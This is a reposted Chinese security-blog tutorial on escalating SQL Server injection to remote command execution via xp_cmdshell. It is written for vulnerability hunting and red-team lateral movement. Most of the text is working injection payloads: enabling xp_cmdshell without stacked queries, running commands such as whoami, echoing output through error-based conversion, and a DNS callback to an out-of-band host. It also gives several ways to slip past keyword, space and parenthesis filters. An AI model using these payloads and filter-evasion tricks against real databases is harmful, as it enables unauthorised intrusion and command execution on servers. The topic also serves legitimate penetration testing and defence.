sql server注入实现RCE

admin 2024年5月17日17:33:34评论4 views字数 3575阅读11分55秒阅读模式
前言

在漏洞挖掘中,合理的利用sql注入,可以把注入转换成rce,使一个高危漏洞变成严重漏洞。在红蓝对抗中,利用注入rce,实现内网横向移动。笔者基于漏洞挖掘和红蓝对抗上遇到的sql server注入做了个sql server的rce实践总结
1、如何判断sql server是否可以RCE

select user;

权限为dbo:

sql server注入实现RCE

确定当前用户是否为管理员:

SELECT IS_SRVROLEMEMBER('sysadmin')

sql server注入实现RCE

注意:只有是sysadmin组的sql server账号才能执行系统命令

sql server注入实现RCE
2、sql server命令执行xp_cmdshell扩展

exec master..xp_cmdshell 'ping a43bade1.ipv6.bypass.eu.org'

sql server注入实现RCE

直接执行会报错,尝试开启xp_cmdshell:

sql server注入实现RCE

在高版本的sql server中已经无法使用xp_cmdshell,本文测试版本为sql server2017。

详细介绍如下:
https://stackoverflow.com/questions/59971345/cannot-enable-xp-cmdshell-on-sql-server-2017-express-on-linux

切换sql server为2008:

sql server注入实现RCE

开启xp_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
sql server注入实现RCE
3、sql server特性

sql server的特性为:数字+字符串,不会报错。

例如sql server会认为id=1and 1=1 就是id=1和and 1=1,自动会做处理

sql server注入实现RCE

sql server注入实现RCE
4、变量声明特性DECLARE

不需要set也能声明变量使用:

1> DECLARE @bc varchar (8000) = 0x6f72616e6765;2> select * from Inventory where name=@bc;3> go

sql server注入实现RCE

bypass:允许空格脏数据

DECLARE @i varchar (8000) = 0x6f72616e67652020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202> select * from Inventory where name=@i;3> go

sql server注入实现RCE

不影响执行,原因在于数据后面的空格会被处理掉:

1> select * from Inventory where name="orange";2> select * from Inventory where name="orange

sql server注入实现RCE

数据前后支持填充00 bypass:

1> DECLARE @i varchar (8000) = 0x0000000000000000000000006f72616e67650000000000000000000000000000002> select * from Inventory where name=@i;3> go

sql server注入实现RCE

sql server注入实现RCE
5、sql server不支持堆叠也可以RCE

支持查询显示的sql server注入,不支持堆叠也可以rce:

select * from student where name='test'INSERT temp_abcdzxc(data) EXEC master..xp_cmdshell 'whoami' select '1'select * from student where name='test'INSERT temp_abcdzxc(data) EXECute master..xp_cmdshell 'ipconfig'-- 123ipconfig内容很大,会自动分行:

sql server注入实现RCE

使用execute bypass:

如果命令执行的语句包含空格,那么需要双引号包裹:execute('xp_cmdshell "nslookup baidu.com"')一些变形:支持换行空格填充execute('xp_c'+'md' +       'sh'+'ell'+' w'+'ho'+'ami')更大的变形bypass:execute('xp_c'+'md' +       'sh'+'ell'+'                        '+'"nslookup baidu.com"')关键字检测的变形:execute('xp_c'+'md' +       'sh'+'ell'+'                        '+'"nsl'+'ookup ba'+'idu.com"')执行图在下方:

sql server注入实现RCE

sql server注入实现RCE

sql server注入实现RCE
6、实战:在不支持堆叠的情况下使用报错注入

以数字类型sql注入为例:

第一步创建sql:select * from student where id=1CREATE TABLE test_exec(id INT PRIMARY KEY IDENTITY, data VARCHAR(2100))

sql server注入实现RCE

第二步:

执行存储过程命令执行插入数据到相关列中:select * from student where id=1 INSERT into test_exec(data) execute('xp_cmdshell whoami')

第三步:

通过sql报错回显命令:select * from student where id=1 and 1=convert(int,(select data from test_exec where id=1))

sql server注入实现RCE

成功执行命令

sql server注入实现RCE
7、不支持堆叠,开启xp_cmdshell

第一步:关闭xp_cmdshell

RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0execute('xp_cmdshell "nslookup baidu.com"')

sql server注入实现RCE

第二步:不支持堆叠的情况下启动xp_cmdshell

以字符串注入为例子:

select * from student where name='ddd' execute('EXEC sp_configure "xp_cmdshell",1')select * from student where name='ddd' execute('RECONFIGURE')

再次执行命令,执行成功没用到分号:

sql server注入实现RCE

方法2:使用exec执行存储过程(用于过滤括号的场景)

select * from student where name='ddd' exec  sp_configure xp_cmdshell,1select * from student where name='ddd' RECONFIGURE

sql server注入实现RCE

成功执行命令

sql server注入实现RCE
8、hw实战:过滤(),=,空格, 实现盲注RCE

因为过滤了空格无法使用声明变量的方式执行命令select * from student where name='ddd'/**/exec/**/sp_configure/**/xp_cmdshell,1select * from student where name='ddd'/**/RECONFIGURE因为过滤空格,所以执行命令需要使用特殊办法规避空格execute('xp_cmdshell/**/"nslookup%CommonProgramFiles:~10,-18%baidu.com"')
sql server注入实现RCE

原文始发于微信公众号(芳华绝代安全团队):sql server注入实现RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日17:33:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sql server注入实现RCEhttp://cn-sec.com/archives/2750532.html

发表评论

匿名网友 填写信息